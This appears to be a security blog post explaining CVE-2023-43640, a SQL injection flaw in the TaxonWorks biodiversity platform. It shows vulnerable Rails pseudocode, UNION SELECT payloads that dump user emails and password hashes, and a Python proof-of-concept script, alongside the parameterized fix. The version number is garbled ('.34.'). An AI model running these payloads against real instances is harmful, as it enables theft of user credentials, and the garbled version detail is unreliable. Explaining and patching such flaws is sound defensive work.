If you are a taxonomist or biodiversity scientist, chances are you’ve heard of TaxonWorks. It’s a powerful web-based tool for managing taxonomy, collecting biodiversity data, and collaborating with colleagues. However, even popular open-source software isn’t immune to security issues, and that’s what we’ll dig into here with CVE-2023-43640. In this article, we’ll break down how this SQL injection vulnerability works, show you the kind of code that was affected, and give you details of how an attacker could exploit it. Importantly, we’ll show you how it was fixed—with tips to safeguard your own TaxonWorks instance.
What is CVE-2023-43640?
CVE-2023-43640 is a SQL injection vulnerability that affected versions of TaxonWorks *before .34.*. With this flaw, an authenticated attacker could run crafted queries against the backend database—potentially leaking any data, including sensitive details from the users table.
Requirements: The attacker must be logged in (authenticated)
Learn more on the official CVE entry.
The Technical Details
TaxonWorks is built using Ruby on Rails with a PostgreSQL database. The vulnerability stemmed from improperly sanitized SQL parameters in a controller action—so user-supplied input could be injected directly into queries.
While the exact controller and line may differ, vulnerable code often looks like this in Rails
# Pseudocode: Dangerous pattern
def search
keyword = params[:q]
# USER INPUT DIRECTLY INTERPOLATED
results = ActiveRecord::Base.connection.execute("SELECT * FROM taxa WHERE name LIKE '%#{keyword}%'")
render json: results
end
With this pattern, an attacker who is logged in can craft a query like
?q=' OR 1=1; --
...causing the SQL to change and potentially dump all records from the taxa table—or worse.
Assuming you’re logged in, a simple POST or GET with a malicious parameter could look like
GET /taxa/search?q=%27%20OR%201=1;--
Authorization: Bearer <ACCESS_TOKEN>
Expected effect: If not properly sanitized, this will match every row—or could be escalated to leak other tables, such as:
GET /taxa/search?q=%27%20UNION%20SELECT%20id,email,password_digest%20FROM%20users;--
This would cause the SQL engine to return data from the users table, effectively disclosing all user logins and password hashes.
Fix and Patch
The core of the solution is to use safe parameterization. Instead of direct string interpolation, Rails provides strong mechanisms to safely inject values.
Safe code
# Safe Rails approach
def search
keyword = params[:q]
results = Taxon.where('name LIKE ?', "%#{sanitize_sql_like(keyword)}%")
render json: results
end
All user-controlled inputs are now correctly sanitized or parameterized.
- Upgrading to TaxonWorks .34. or later patches the vulnerability.
A real-world proof of concept might look like this (in Python, using requests)
import requests
url = 'https://<your-taxonworks-instance>/taxa/search';
token = 'your_valid_token'
payload = "' UNION SELECT id,email,password_digest FROM users;-- "
params = {'q': payload}
headers = {'Authorization': f'Bearer {token}'}
resp = requests.get(url, params=params, headers=headers)
print(resp.json())
DISCLAIMER: Only test on systems you own or have permission to test.
What Should You Do?
- Upgrade: If you run TaxonWorks, ensure you update to version .34. or later (*see the release notes here*).
- Audit custom code: If you have plugins or internal adjustments, inspect any places where raw SQL might be used.
- Follow secure coding practices: Always sanitize and parameterize user input in any web application.
References
- CVE-2023-43640 at NIST NVD
- Official TaxonWorks Release .34.
- OWASP SQL Injection Prevention Cheat Sheet
Conclusion
Security holes like CVE-2023-43640 are a sharp reminder that even scientific software can become a target. Always keep your applications up to date, and take care when handling user input. If you use TaxonWorks, update immediately—and if you’re building your own tools, keep secure coding at the heart of your work!
Timeline
Published on: 09/22/2023 18:15:12 UTC
Last modified on: 09/25/2023 17:38:59 UTC